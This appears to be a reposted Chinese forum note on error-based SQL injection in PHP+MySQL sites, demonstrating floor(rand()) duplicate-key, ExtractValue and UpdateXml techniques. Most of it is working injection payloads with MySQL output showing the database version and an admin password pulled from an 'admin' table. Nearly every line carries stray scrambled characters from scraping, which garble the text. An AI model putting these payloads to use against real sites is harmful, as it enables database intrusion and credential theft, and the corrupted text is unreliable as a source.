放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
, U( l1 C/ Q' f. I# u( J) W; _实际测试环境:$ N# r$ W. j5 y! G' }& L& Z0 r
$ K) f* u/ i2 u2 V
3 @3 s3 D% Q! h
mysql> show tables;
; o! r* x a" }7 g f+----------------+
' T6 I9 F: A9 e) I: E| Tables_in_test |' o7 C$ Y) U/ ~6 D# U; k( W5 [
+----------------+
. j( b8 n8 N0 F* U) T4 z9 Q| admin |. N" Y4 M5 O: {% X* `* M% C
| article |4 ]" W, T& _: d; u
+----------------+) D$ y" U2 g0 J8 q
. d, F# B0 J. h# b3 F
. Z% k! q& C4 `2 b P8 J9 o
8 K7 B& ~4 r. U9 u" Z, \% jmysql> describe admin;
% x) b1 R% V3 }5 j; I' c5 o+-------+------------------+------+-----+---------+----------------+! j1 ~2 F) M \2 Z/ W Z
| Field | Type | Null | Key | Default | Extra | N q/ ~ D: v- E8 O0 \
+-------+------------------+------+-----+---------+----------------+
: v% k* I' s0 @; m7 g4 q& t| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
) M' Z* N7 |$ [$ c| user | varchar(50) | NO | | NULL | |
9 }& M( U- S ~' p| pass | varchar(50) | NO | | NULL | |
9 A1 x3 ]" {) b2 [$ p+-------+------------------+------+-----+---------+----------------+
P9 b4 d& _# ^' B8 O# Q- ^; E. X) i # k1 J* x3 } I) d- ]) G) G. Z
# p& l3 B9 l2 j% D+ g# {
' |0 t- r! n9 S9 v5 t) b9 Y
mysql> describe article;9 N' m! U! N7 L* V9 u1 |
+---------+------------------+------+-----+---------+----------------+2 T6 a* a; e+ f, R0 T8 ]4 J
| Field | Type | Null | Key | Default | Extra |
' k5 z+ J: |! A9 }- i' N+---------+------------------+------+-----+---------+----------------+
6 o' n5 t- g. `| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
: e6 P% y x& d| title | varchar(50) | NO | | NULL | |* B) v% l2 S+ r' M7 X
| content | varchar(50) | NO | | NULL | |
# v+ K* j0 b/ p6 X* _+ U+---------+------------------+------+-----+---------+----------------+
6 ^, d5 i! h5 e# E3 s* P1、通过floor报错
5 i* O& {2 S0 O: B+ {4 F$ Y可以通过如下一些利用代码7 B4 e) _3 Q/ Y+ \$ p1 x3 y
m: I, c0 q' A/ E8 x% B+ _ 8 n9 v) g- c, G) t$ q+ S
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x# D; @0 k6 M/ p2 U+ n! i3 p
from information_schema.tables group by x)a);3 s$ D$ g$ w ?. c2 F& P
5 x- V* e1 u( a2 g- S
( a6 C0 ^1 ]0 B1 h
and (select count(*) from (select 1 union select null union select !1)x+ @0 {" T# a! B% a0 S: ?1 U7 R1 m
group by concat((select table_name from information_schema.tables limit 1),
0 x. L5 P# [' z2 s! nfloor(rand(0)*2)));
9 Y1 k" C. H# e$ }9 W6 g9 J举例如下:; J2 f6 ]" f( z& Z: N0 I2 i2 D+ Q
首先进行正常查询:# Q) l7 _# U& p0 |& Y. k
v" c& w& d( u* l2 Pmysql> select * from article where id = 1;
8 y& L7 B# ~ B9 H) l+----+-------+---------+8 h/ ?+ m- t7 k' ]+ E
| id | title | content |
2 v* S0 {: G- j$ I- S+----+-------+---------+
$ J3 R, H+ [2 j. e$ n8 i) t| 1 | test | do it |! l; V4 q! y" r# K4 Y
+----+-------+---------+" w+ o. g0 e) q8 w
假如id输入存在注入的话,可以通过如下语句进行报错。
; @3 m# y+ h" L9 G5 e6 p
; {3 _9 O/ n+ ] O0 \# m' y" V 3 M+ J, {# C9 N& d: @
mysql> select * from article where id = 1 and (select 1 from# v8 I8 w- M% y! h M
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
) W. J# }: n6 Y* M( vERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
* k2 L0 W& v1 o+ [可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。7 k' r& K( Q! ]& K y+ |: _
例如我们需要查询管理员用户名和密码:
! e0 E. k% {4 ]* X6 W* m+ A: FMethod1:
" G. ]8 J% _$ k0 T$ I* s3 r; j
+ {9 z/ q) @8 |4 {* u5 [ ! n8 n F' ?- _" {2 T: T( y' d: U
mysql> select * from article where id = 1 and (select 1 from5 d4 I4 d4 E: _- C/ ~
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x1 i+ d9 T: x1 W0 s
from information_schema.tables group by x)a);/ x, _5 L9 u4 Z2 v9 H
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
9 h5 G% Z9 ]/ aMethod2:1 F; s+ ^; g7 k! H
* T# P" M% q; I3 z- S2 l
8 }0 ~: L2 h$ C0 W1 L A6 rmysql> select * from article where id = 1 and (select count(*)4 `. Q2 T9 z8 x: c. ~/ w+ ?2 G
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),4 F* F" Z% s D7 K
floor(rand(0)*2)));
+ N: ^( ?2 v- r4 k4 E0 S- q q' PERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
, I/ f8 \' \; i! K8 G2、ExtractValue. U, a+ }, J. W. ?1 N4 z
测试语句如下
6 K2 x6 Y O" z3 L1 z& W9 G1 N
1 e3 K: P& x4 F6 S" G
4 `! s# Z2 M' T" k6 l5 [- t5 z$ Cand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));' u, W! H# p" g/ R
实际测试过程; f- |5 z% w' n5 J" k: a% B
+ j5 M3 U3 J( m! P7 L* V
) w+ K; l, K. N1 _- F
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
: y, l% {: Y) ?; x4 I5 m* P(select pass from admin limit 1)));--
8 {# d- [8 N$ x0 q) BERROR 1105 (HY000): XPATH syntax error: '\admin888'
. }2 _" s+ K* O: z6 S; G; B( i3、UpdateXml
0 ^* T* h8 {( L2 ]# ^. A3 l6 J测试语句
/ a; Y! k. u4 z7 J) v1 _& v: a ! t7 }5 e; C% \
( r, r& H( p+ O- ^1 ^4 `* P' ^
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
' @) h. p* s' C3 R: m实际测试过程
: j% P% N0 o6 k" J # h$ p" Z# i7 w% Y: {3 H
& q L) C8 W; ` zmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,4 S9 Z& h% r2 `$ D" E7 p2 j1 l
(select pass from admin limit 1),0x5e24),1));1 g; h4 f* K/ ^( a
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$': }1 n1 {7 V7 t
All, thanks foreign guys.: @$ Z2 C7 a& |7 ]8 s. E
3 \0 p4 |+ h! N4 S' V
* r. k& ^; S/ z7 r5 ]; T |